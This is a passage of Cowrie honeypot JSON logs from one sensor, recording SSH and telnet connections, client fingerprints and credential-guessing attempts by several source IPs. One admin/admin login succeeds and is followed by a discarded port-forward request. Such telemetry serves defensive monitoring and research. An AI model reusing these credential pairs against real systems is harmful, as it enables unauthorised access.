{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:14:59.721298Z","src_ip":"94.159.98.239","session":"7c0dfc9eff6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"millioner","message":"login attempt [root/millioner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:15:00.963401Z","src_ip":"94.159.98.239","session":"7c0dfc9eff6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":36432,"dst_ip":"159.203.135.109","dst_port":23,"session":"7daee535dec7","protocol":"telnet","message":"New connection: 135.148.14.151:36432 (159.203.135.109:23) [session: 7daee535dec7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:15:01.706766Z"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:15:02.143720Z","src_ip":"94.159.98.239","session":"7c0dfc9eff6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":41326,"dst_ip":"159.203.135.109","dst_port":23,"session":"9002582d1df0","protocol":"telnet","message":"New connection: 135.148.14.151:41326 (159.203.135.109:23) [session: 9002582d1df0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:15:13.314431Z"}
{"eventid":"cowrie.session.closed","duration":36.43807315826416,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:15:13.995860Z","src_ip":"135.148.14.151","session":"6106a7c218b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":43592,"dst_ip":"159.203.135.109","dst_port":23,"session":"c12ac6a5a076","protocol":"telnet","message":"New connection: 135.148.14.151:43592 (159.203.135.109:23) [session: c12ac6a5a076]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:15:18.082269Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":48576,"dst_ip":"159.203.135.109","dst_port":23,"session":"c66e4871250f","protocol":"telnet","message":"New connection: 135.148.14.151:48576 (159.203.135.109:23) [session: c66e4871250f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:15:28.962083Z"}
{"eventid":"cowrie.session.closed","duration":35.3639030456543,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:15:37.070530Z","src_ip":"135.148.14.151","session":"7daee535dec7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":14318,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef0be760a07c","protocol":"ssh","message":"New connection: 87.251.64.176:14318 (10.17.0.5:22) [session: ef0be760a07c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:15:46.423663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:15:46.429105Z","src_ip":"87.251.64.176","session":"ef0be760a07c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:15:46.524652Z","src_ip":"87.251.64.176","session":"ef0be760a07c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:15:46.903733Z","src_ip":"87.251.64.176","session":"ef0be760a07c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:15:47.002990Z","session":"ef0be760a07c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:15:47.105432Z","src_ip":"87.251.64.176","session":"ef0be760a07c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:15:47.203478Z","src_ip":"87.251.64.176","session":"ef0be760a07c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.224010944366455,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:15:54.306149Z","src_ip":"135.148.14.151","session":"c12ac6a5a076","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.13103127479553,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:15:54.445326Z","src_ip":"135.148.14.151","session":"9002582d1df0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":59832,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee2c626dbdd5","protocol":"telnet","message":"New connection: 135.148.14.151:59832 (159.203.135.109:23) [session: ee2c626dbdd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:15:55.279919Z"}
{"eventid":"cowrie.session.connect","src_ip":"129.226.4.94","src_port":54556,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8af70092c6a","protocol":"ssh","message":"New connection: 129.226.4.94:54556 (159.203.135.109:22) [session: d8af70092c6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:15:58.453992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:15:58.459605Z","src_ip":"129.226.4.94","session":"d8af70092c6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:15:58.706104Z","src_ip":"129.226.4.94","session":"d8af70092c6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"marissa","password":"marissa","message":"login attempt [marissa/marissa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:15:59.721547Z","src_ip":"129.226.4.94","session":"d8af70092c6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:16:00.971349Z","src_ip":"129.226.4.94","session":"d8af70092c6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":51248,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc01d293edc8","protocol":"ssh","message":"New connection: 103.27.238.114:51248 (159.203.135.109:22) [session: fc01d293edc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:16:01.564539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:16:01.574730Z","src_ip":"103.27.238.114","session":"fc01d293edc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:16:01.829287Z","src_ip":"103.27.238.114","session":"fc01d293edc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p0o9i8","message":"login attempt [root/p0o9i8] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:16:02.602742Z","src_ip":"103.27.238.114","session":"fc01d293edc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:16:03.860456Z","src_ip":"103.27.238.114","session":"fc01d293edc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.965540170669556,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:16:03.927475Z","src_ip":"135.148.14.151","session":"c66e4871250f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":37666,"dst_ip":"159.203.135.109","dst_port":23,"session":"3deb49225cb5","protocol":"telnet","message":"New connection: 135.148.14.151:37666 (159.203.135.109:23) [session: 3deb49225cb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:16:09.899042Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":42302,"dst_ip":"159.203.135.109","dst_port":23,"session":"814180e6ec99","protocol":"telnet","message":"New connection: 135.148.14.151:42302 (159.203.135.109:23) [session: 814180e6ec99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:16:21.550561Z"}
{"eventid":"cowrie.session.closed","duration":38.60079789161682,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:16:33.880587Z","src_ip":"135.148.14.151","session":"ee2c626dbdd5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":50328,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e92ba5b4e54","protocol":"telnet","message":"New connection: 135.148.14.151:50328 (159.203.135.109:23) [session: 1e92ba5b4e54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:16:41.126489Z"}
{"eventid":"cowrie.session.closed","duration":120.00212550163269,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:16:41.890869Z","src_ip":"49.88.156.34","session":"3a3e91f78ed9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.97374749183655,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:16:45.872646Z","src_ip":"135.148.14.151","session":"3deb49225cb5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":41237,"dst_ip":"10.17.0.5","dst_port":23,"session":"02f5ff4eef9f","protocol":"telnet","message":"New connection: 49.88.156.34:41237 (10.17.0.5:23) [session: 02f5ff4eef9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:16:52.026884Z"}
{"eventid":"cowrie.session.closed","duration":36.217562675476074,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:16:57.768002Z","src_ip":"135.148.14.151","session":"814180e6ec99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":59080,"dst_ip":"159.203.135.109","dst_port":23,"session":"81b4d6a4f16d","protocol":"telnet","message":"New connection: 135.148.14.151:59080 (159.203.135.109:23) [session: 81b4d6a4f16d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:16:58.256217Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":60526,"dst_ip":"159.203.135.109","dst_port":23,"session":"aca647621682","protocol":"telnet","message":"New connection: 135.148.14.151:60526 (159.203.135.109:23) [session: aca647621682]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:17:00.202410Z"}
{"eventid":"cowrie.session.closed","duration":34.847442626953125,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:17:15.973820Z","src_ip":"135.148.14.151","session":"1e92ba5b4e54","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":46468,"dst_ip":"159.203.135.109","dst_port":23,"session":"c104e6ec0913","protocol":"telnet","message":"New connection: 135.148.14.151:46468 (159.203.135.109:23) [session: c104e6ec0913]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:17:31.349608Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":47526,"dst_ip":"159.203.135.109","dst_port":23,"session":"d945396eb122","protocol":"telnet","message":"New connection: 135.148.14.151:47526 (159.203.135.109:23) [session: d945396eb122]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:17:33.794408Z"}
{"eventid":"cowrie.session.closed","duration":38.8380184173584,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:17:37.094075Z","src_ip":"135.148.14.151","session":"81b4d6a4f16d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.04388236999512,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:17:37.246071Z","src_ip":"135.148.14.151","session":"aca647621682","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":52558,"dst_ip":"10.17.0.5","dst_port":22,"session":"49429d986712","protocol":"ssh","message":"New connection: 80.66.85.226:52558 (10.17.0.5:22) [session: 49429d986712]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:17:41.706626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:17:41.711731Z","src_ip":"80.66.85.226","session":"49429d986712","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:17:41.796082Z","src_ip":"80.66.85.226","session":"49429d986712","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bhbyf123","message":"login attempt [root/bhbyf123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:17:42.050401Z","src_ip":"80.66.85.226","session":"49429d986712","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:17:43.137839Z","src_ip":"80.66.85.226","session":"49429d986712","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.177.223","src_port":21574,"dst_ip":"10.17.0.5","dst_port":22,"session":"76d527c103b2","protocol":"ssh","message":"New connection: 51.79.177.223:21574 (10.17.0.5:22) [session: 76d527c103b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:17:47.502368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:17:47.508416Z","src_ip":"51.79.177.223","session":"76d527c103b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-25